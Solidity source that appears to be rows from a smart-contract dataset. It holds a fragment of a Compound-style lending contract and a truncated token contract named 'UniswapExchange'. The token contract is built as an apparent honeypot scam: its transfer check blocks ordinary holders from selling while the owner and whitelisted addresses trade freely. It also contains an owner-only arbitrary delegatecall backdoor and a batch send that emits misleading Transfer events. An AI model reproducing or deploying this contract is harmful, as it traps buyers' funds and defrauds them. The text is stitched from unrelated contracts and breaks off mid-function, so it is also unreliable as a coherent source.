vars.err = checkTransferIn(minter, mintAmount);
if (vars.err != Error.NO_ERROR) {
return fail(vars.err, FailureInfo.MINT_TRANSFER_IN_NOT_POSSIBLE);
}
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(mintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.err = doTransferIn(minter, mintAmount);
if (vars.err != Error.NO_ERROR) {
return fail(vars.err, FailureInfo.MINT_TRANSFER_IN_FAILED);
}
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
emit Mint(minter, mintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
comptroller.mintVerify(address(this), minter, mintAmount, vars.mintTokens);
return uint(Error.NO_ERROR);
}
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
return redeemFresh(msg.sender, redeemTokens, 0);
}
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
if (redeemTokensIn > 0) {
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
vars.err = doTransferOut(redeemer, vars.redeemAmount);
require(vars.err == Error.NO_ERROR, "redeem transfer out failed");
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
Error err;
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.err = doTransferOut(borrower, borrowAmount);
require(vars.err == Error.NO_ERROR, "borrow transfer out failed");
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED);
}
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED);
}
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint) {
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK);
}
RepayBorrowLocalVars memory vars;
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
vars.err = checkTransferIn(payer, vars.repayAmount);
if (vars.err != Error.NO_ERROR) {
return fail(vars.err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE);
}
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.repayAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.repayAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.err = doTransferIn(payer, vars.repayAmount);
require(vars.err == Error.NO_ERROR, "repay borrow transfer in failed");
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
emit RepayBorrow(payer, borrower, vars.repayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
comptroller.repayBorrowVerify(address(this), payer, borrower, vars.repayAmount, vars.borrowerIndex);
return uint(Error.NO_ERROR);
}
function liquidateBorrowInternal(address borrower, uint repayAmount, CToken cTokenCollateral) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED);
}
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CToken cTokenCollateral) internal returns (uint) {
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK);
}
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK);
}
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER);
}
if (repayAmount == 0) {
return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO);
}
if (repayAmount == uint(-1)) {
return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX);
}
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), repayAmount);
if (amountSeizeError != 0) {
return failOpaque(Error.COMPTROLLER_CALCULATION_ERROR, FailureInfo.LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, amountSeizeError);
}
if (seizeTokens > cTokenCollateral.balanceOf(borrower)) {
return fail(Error.TOKEN_INSUFFICIENT_BALANCE, FailureInfo.LIQUIDATE_SEIZE_TOO_MUCH);
}
uint repayBorrowError = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED);
}
uint seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
emit LiquidateBorrow(liquidator, borrower, repayAmount, address(cTokenCollateral), seizeTokens);
comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount, seizeTokens);
return uint(Error.NO_ERROR);
}
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
uint allowed = comptroller.seizeAllowed(address(this), msg.sender, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
emit Transfer(borrower, liquidator, seizeTokens);
comptroller.seizeVerify(address(this), msg.sender, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
function _acceptAdmin() external returns (uint) {
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
require(newComptroller.isComptroller(), "marker method returned false");
comptroller = newComptroller;
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
return _setReserveFactorFresh(newReserveFactorMantissa);
}
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
return _reduceReservesFresh(reduceAmount);
}
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
Error err;
uint totalReservesNew;
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
totalReservesNew = totalReserves - reduceAmount;
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
totalReserves = totalReservesNew;
err = doTransferOut(admin, reduceAmount);
require(err == Error.NO_ERROR, "reduce reserves transfer out failed");
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
return _setInterestRateModelFresh(newInterestRateModel);
}
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
InterestRateModel oldInterestRateModel;
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
oldInterestRateModel = interestRateModel;
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
interestRateModel = newInterestRateModel;
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
function getCashPrior() internal view returns (uint);
function checkTransferIn(address from, uint amount) internal view returns (Error);
function doTransferIn(address from, uint amount) internal returns (Error);
function doTransferOut(address payable to, uint amount) internal returns (Error);
}
pragma solidity ^0.5.8;
interface PriceOracle {
function isPriceOracle() external pure returns (bool);
function getUnderlyingPrice(CToken cToken) external view returns (uint);
}
pragma solidity ^0.5.8;
contract UnitrollerAdminStorage {
address public admin;
address public pendingAdmin;
address public comptrollerImplementation;
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
PriceOracle public oracle;
uint public closeFactorMantissa;
uint public liquidationIncentiveMantissa;
uint public maxAssets;
mapping(address => CToken[]) public accountAssets;
}
pragma solidity ^0.5.8;
contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter {
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
event NewImplementation(address oldImplementation, address newImplementation);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
admin = msg.sender;
}
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
function _acceptImplementation() public returns (uint) {
if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
address oldImplementation = comptrollerImplementation;
address oldPendingImplementation = pendingComptrollerImplementation;
comptrollerImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = address(0);
emit NewImplementation(oldImplementation, comptrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
function _acceptAdmin() public returns (uint) {
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
function () payable external {
(bool success, ) = comptrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
} | 0 | 498 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
